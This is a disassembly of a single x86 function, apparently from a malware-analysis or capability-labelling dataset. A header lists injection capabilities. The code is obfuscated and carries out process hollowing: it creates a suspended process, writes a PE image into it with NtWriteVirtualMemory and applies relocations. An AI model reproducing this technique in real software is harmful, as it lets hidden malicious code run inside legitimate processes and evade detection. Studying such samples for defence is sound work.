Function at 0x10003da0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x138
mov eax, dword [0x1006cc00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x140], 0x4e070f61
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
sub eax, 0x80890cc5
je 0x10006aa2
jmp 0x10003ddc
mov eax, dword [ebp - 0x144]
sub eax, 0x83ddf688
je 0x100055c3
jmp 0x10003df2
mov eax, dword [ebp - 0x144]
sub eax, 0x85f5f4d5
je 0x10006ef4
jmp 0x10003e08
mov eax, dword [ebp - 0x144]
sub eax, 0x88631107
je 0x10007644
jmp 0x10003e1e
mov eax, dword [ebp - 0x144]
sub eax, 0x89365024
je 0x100064a3
jmp 0x10003e34
mov eax, dword [ebp - 0x144]
sub eax, 0x89a3e608
je 0x1000553e
jmp 0x10003e4a
mov eax, dword [ebp - 0x144]
sub eax, 0x8b0cbd05
je 0x100077bd
jmp 0x10003e60
mov eax, dword [ebp - 0x144]
sub eax, 0x8bc8dd49
je 0x10004fd9
jmp 0x10003e76
mov eax, dword [ebp - 0x144]
sub eax, 0x8beb848b
je 0x10005d77
jmp 0x10003e8c
mov eax, dword [ebp - 0x144]
sub eax, 0x8ca6d2c0
je 0x10007335
jmp 0x10003ea2
mov eax, dword [ebp - 0x144]
sub eax, 0x8d37305e
je 0x10006f11
jmp 0x10003eb8
mov eax, dword [ebp - 0x144]
sub eax, 0x8ebec9ec
je 0x10005d46
jmp 0x10003ece
mov eax, dword [ebp - 0x144]
sub eax, 0x8ef11af4
je 0x10006b32
jmp 0x10003ee4
mov eax, dword [ebp - 0x144]
sub eax, 0x91196235
je 0x10004f2e
jmp 0x10003efa
mov eax, dword [ebp - 0x144]
sub eax, 0x91a97458
je 0x10006f87
jmp 0x10003f10
mov eax, dword [ebp - 0x144]
sub eax, 0x930b03a2
je 0x10004efa
jmp 0x10003f26
mov eax, dword [ebp - 0x144]
sub eax, 0x96d23e13
je 0x100064b2
jmp 0x10003f3c
mov eax, dword [ebp - 0x144]
sub eax, 0x97624d18
je 0x10006abc
jmp 0x10003f52
mov eax, dword [ebp - 0x144]
sub eax, 0x97c06380
je 0x1000727b
jmp 0x10003f68
mov eax, dword [ebp - 0x144]
sub eax, 0x985794c3
je 0x100052b6
jmp 0x10003f7e
mov eax, dword [ebp - 0x144]
sub eax, 0x98993a02
je 0x1000729c
jmp 0x10003f94
mov eax, dword [ebp - 0x144]
sub eax, 0x9a2344a2
je 0x10005b38
jmp 0x10003faa
mov eax, dword [ebp - 0x144]
sub eax, 0x9aac672a
je 0x10005f3e
jmp 0x10003fc0
mov eax, dword [ebp - 0x144]
sub eax, 0x9aebfabe
je 0x10006c7d
jmp 0x10003fd6
mov eax, dword [ebp - 0x144]
sub eax, 0x9d5e8f99
je 0x100077ae
jmp 0x10003fec
mov eax, dword [ebp - 0x144]
sub eax, 0xa1eea5d6
je 0x10006da9
jmp 0x10004002
mov eax, dword [ebp - 0x144]
sub eax, 0xa8c09995
je 0x10006ffd
jmp 0x10004018
mov eax, dword [ebp - 0x144]
sub eax, 0xa966c3e2
je 0x100057fb
jmp 0x1000402e
mov eax, dword [ebp - 0x144]
sub eax, 0xa96cd1e3
je 0x10005c97
jmp 0x10004044
mov eax, dword [ebp - 0x144]
sub eax, 0xabe05415
je 0x10007373
jmp 0x1000405a
mov eax, dword [ebp - 0x144]
sub eax, 0xaca5434b
je 0x10005237
jmp 0x10004070
mov eax, dword [ebp - 0x144]
sub eax, 0xacfa9de1
je 0x1000675e
jmp 0x10004086
mov eax, dword [ebp - 0x144]
sub eax, 0xadf4e37f
je 0x100071e3
jmp 0x1000409c
mov eax, dword [ebp - 0x144]
sub eax, 0xb003ae87
je 0x100064cf
jmp 0x100040b2
mov eax, dword [ebp - 0x144]
sub eax, 0xb1534a60
je 0x100076cd
jmp 0x100040c8
mov eax, dword [ebp - 0x144]
sub eax, 0xb4c2eae2
je 0x10006536
jmp 0x100040de
mov eax, dword [ebp - 0x144]
sub eax, 0xb6b4a7cc
je 0x10006c6e
jmp 0x100040f4
mov eax, dword [ebp - 0x144]
sub eax, 0xb8cdee9f
je 0x10005c1b
jmp 0x1000410a
mov eax, dword [ebp - 0x144]
sub eax, 0xb97a8388
je 0x100065e4
jmp 0x10004120
mov eax, dword [ebp - 0x144]
sub eax, 0xb9fb7a76
je 0x10004eeb
jmp 0x10004136
mov eax, dword [ebp - 0x144]
sub eax, 0xbe00b060
je 0x10005b29
jmp 0x1000414c
mov eax, dword [ebp - 0x144]
sub eax, 0xbea7f0fb
je 0x10005908
jmp 0x10004162
mov eax, dword [ebp - 0x144]
sub eax, 0xbec14c66
je 0x10005169
jmp 0x10004178
mov eax, dword [ebp - 0x144]
sub eax, 0xbfd1b4bf
je 0x10006ba0
jmp 0x1000418e
mov eax, dword [ebp - 0x144]
sub eax, 0xc8dca5b0
je 0x10006103
jmp 0x100041a4
mov eax, dword [ebp - 0x144]
sub eax, 0xc8fbd957
je 0x1000663c
jmp 0x100041ba
mov eax, dword [ebp - 0x144]
sub eax, 0xcdeea313
je 0x1000778d
jmp 0x100041d0
mov eax, dword [ebp - 0x144]
sub eax, 0xcf993f93
je 0x1000622d
jmp 0x100041e6
mov eax, dword [ebp - 0x144]
sub eax, 0xcfd869d9
je 0x100075d0
jmp 0x100041fc
mov eax, dword [ebp - 0x144]
sub eax, 0xd2b087dd
je 0x100059cd
jmp 0x10004212
mov eax, dword [ebp - 0x144]
sub eax, 0xd5b1252c
je 0x100063ec
jmp 0x10004228
mov eax, dword [ebp - 0x144]
sub eax, 0xd683e84b
je 0x100054ed
jmp 0x1000423e
mov eax, dword [ebp - 0x144]
sub eax, 0xd69f47f0
je 0x10006060
jmp 0x10004254
mov eax, dword [ebp - 0x144]
sub eax, 0xdb9fae09
je 0x100051ba
jmp 0x1000426a
mov eax, dword [ebp - 0x144]
sub eax, 0xde3c50ef
je 0x1000571e
jmp 0x10004280
mov eax, dword [ebp - 0x144]
sub eax, 0xde4c8a24
je 0x10006a10
jmp 0x10004296
mov eax, dword [ebp - 0x144]
sub eax, 0xdf98f2dc
je 0x10006e00
jmp 0x100042ac
mov eax, dword [ebp - 0x144]
sub eax, 0xdfbe8cf6
je 0x10006d33
jmp 0x100042c2
mov eax, dword [ebp - 0x144]
sub eax, 0xe0694778
je 0x100053bb
jmp 0x100042d8
mov eax, dword [ebp - 0x144]
sub eax, 0xe48cf6e9
je 0x10005ca6
jmp 0x100042ee
mov eax, dword [ebp - 0x144]
sub eax, 0xe4f5b661
je 0x10006179
jmp 0x10004304
mov eax, dword [ebp - 0x144]
sub eax, 0xe68f29f9
je 0x100075f1
jmp 0x1000431a
mov eax, dword [ebp - 0x144]
sub eax, 0xe69391ea
je 0x10005ba6
jmp 0x10004330
mov eax, dword [ebp - 0x144]
sub eax, 0xe776659e
je 0x100059fe
jmp 0x10004346
mov eax, dword [ebp - 0x144]
sub eax, 0xe791e9ea
je 0x10005dc8
mov dword [ebp - 0x140], 0x930b03a2
jmp 0x100077f0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x140], 0x91196235
jmp 0x100077f0
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov edx, dword [eax]
mov eax, 0x97c06380
mov ecx, 0xf3d49a9c
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x439551ac
mov ecx, 0x6b26a941
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
add edx, 0xad8609d5
sub edx, 1
sub edx, 0xad8609d5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f095166
mov ecx, 0xdb9fae09
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1f095166
mov ecx, 0x44154da0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov eax, dword [ebp - 0x120]
mov edx, dword [eax]
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x128]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xb5], al
mov dword [ebp - 0x140], 0x985794c3
jmp 0x100077f0
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8ca6d2c0
mov ecx, 0x63195c78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x68a8ba5e
mov ecx, 0x27128ebc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
sub edx, 0x234e7768
sub edx, 1
add edx, 0x234e7768
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xabe05415
mov ecx, 0x89a3e608
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10003500
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0xb0], eax
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
add edx, 0x1be1c805
sub edx, 1
sub edx, 0x1be1c805
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xabe05415
mov ecx, 0x83ddf688
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov dword [ebp - 0x140], 0x9738005
jmp 0x100077f0
mov dl, byte [ebp - 0xa9]
mov eax, 0x1975f053
mov ecx, 0x24e0c86f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov dword [ebp - 0x140], 0x7ba6a47a
jmp 0x100077f0
mov dword [ebp - 0x140], 0x24e0c86f
jmp 0x100077f0
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
add eax, 4
add eax, 2
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x140], 0xe776659e
jmp 0x100077f0
mov eax, dword [ebp - 0x98]
movzx esi, word [eax]
mov edx, dword [ebp - 0x9c]
mov eax, 0xe48cf6e9
mov ecx, 0x79a649e6
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov dword [ebp - 0x140], 0x9a2344a2
jmp 0x100077f0
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x88]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0x8c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x12c]
mov esi, dword [eax]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x90]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x140], 0xe69391ea
jmp 0x100077f0
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x140], 0x4b26e888
jmp 0x100077f0
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x84]
mov dword [eax], ecx
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x52ca5fc9
mov ecx, 0xa96cd1e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov dword [ebp - 0x140], 0xd2b087dd
jmp 0x100077f0
mov eax, dword [ebp - 0x100]
mov dword [eax], 0
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x140], 0x393fd0f3
jmp 0x100077f0
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x140], 0x8beb848b
jmp 0x100077f0
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
sub edx, 0xed3335ce
sub edx, 1
add edx, 0xed3335ce
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4d793024
mov ecx, 0xe791e9ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x140], 0x6f7dafe4
jmp 0x100077f0
mov dl, byte [ebp - 0x5d]
mov eax, 0x2072298c
mov ecx, 0x7866613
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
mov edx, ecx
add edx, 0x19705ee7
sub edx, 1
sub edx, 0x19705ee7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe68f29f9
mov ecx, 0xe4f5b661
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe68f29f9
mov ecx, 0x1def5e15
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov ecx, dword [ebp - 0x58]
sub ecx, 0x97cc569e
add ecx, 1
add ecx, 0x97cc569e
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
mov edx, ecx
add edx, 0x2bf8cafd
sub edx, 1
sub edx, 0x2bf8cafd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe94ffcab
mov ecx, 0x2324272a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x202623ad
mov ecx, 0xb229ce2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov dword [ebp - 0x140], 0x96d23e13
jmp 0x100077f0
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x140], 0xb003ae87
jmp 0x100077f0
mov edx, dword [ebp - 0x48]
mov eax, 0x97624d18
mov ecx, 0x23833fd6
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0x3e64177e
sub ecx, 8
add ecx, 0x3e64177e
shr ecx, 1
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x40], eax
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
add edx, 0xea9a2601
sub edx, 1
sub edx, 0xea9a2601
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6cce2c08
mov ecx, 0xb97a8388
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov dword [ebp - 0x140], 0x22b2b68
jmp 0x100077f0
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
add ecx, 0x949e1395
sub ecx, eax
sub ecx, 0x949e1395
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov dword [eax], 0
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
sub edx, 0xa83a9737
sub edx, 1
add edx, 0xa83a9737
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb1534a60
mov ecx, 0xe7d2f020
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
add ecx, 0xe99a0d0f
add ecx, eax
sub ecx, 0xe99a0d0f
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x140], 0xdb41fed
jmp 0x100077f0
mov dword [ebp - 0x140], 0x5779c720
jmp 0x100077f0
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x140], 0x96d23e13
jmp 0x100077f0
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
mov edx, ecx
add edx, 0x9a35f3c4
sub edx, 1
sub edx, 0x9a35f3c4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xff76b47a
mov ecx, 0x8ef11af4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xff76b47a
mov ecx, 0xbfd1b4bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov dword [ebp - 0x140], 0x6b06ae88
jmp 0x100077f0
mov dword [ebp - 0x140], 0x9aebfabe
jmp 0x100077f0
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x36464839
mov ecx, 0x7e4d2ab5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
mov edx, ecx
add edx, 0xbfbe87ad
sub edx, 1
sub edx, 0xbfbe87ad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcdeea313
mov ecx, 0xa1eea5d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov eax, dword [ebp - 0x1c]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x15], al
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcdeea313
mov ecx, 0xdf98f2dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov dl, byte [ebp - 0x15]
mov eax, 0x8d37305e
mov ecx, 0x4c5b8f33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov ecx, dword [ebp - 0x14]
add ecx, 4
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov dword [ebp - 0x140], 0x9aebfabe
jmp 0x100077f0
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
mov edx, ecx
add edx, 0x6e7c38e6
sub edx, 1
sub edx, 0x6e7c38e6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x382fe0a5
mov ecx, 0x91a97458
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov ecx, dword [0x1006df38]
mov eax, dword [0x1006df34]
mov edx, ecx
add edx, 0xf9b8c105
sub edx, 1
sub edx, 0xf9b8c105
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x382fe0a5
mov ecx, 0xa8c09995
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov dword [ebp - 0x140], 0x436a0a49
jmp 0x100077f0
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1006df38]
mov ecx, dword [0x1006df34]
mov edx, eax
sub edx, 0x72b49024
sub edx, 1
add edx, 0x72b49024
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8b0cbd05
mov ecx, 0x62266dfb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100077f0
mov dword [ebp - 0x140], 0x564932cf
jmp 0x100077f0
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x140], 0xffb19032
jmp 0x100077f0
mov dword [ebp - 0x140], 0x63195c78
jmp 0x100077f0
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10003500
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x140], 0x89a3e608
jmp 0x100077f0
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x68]
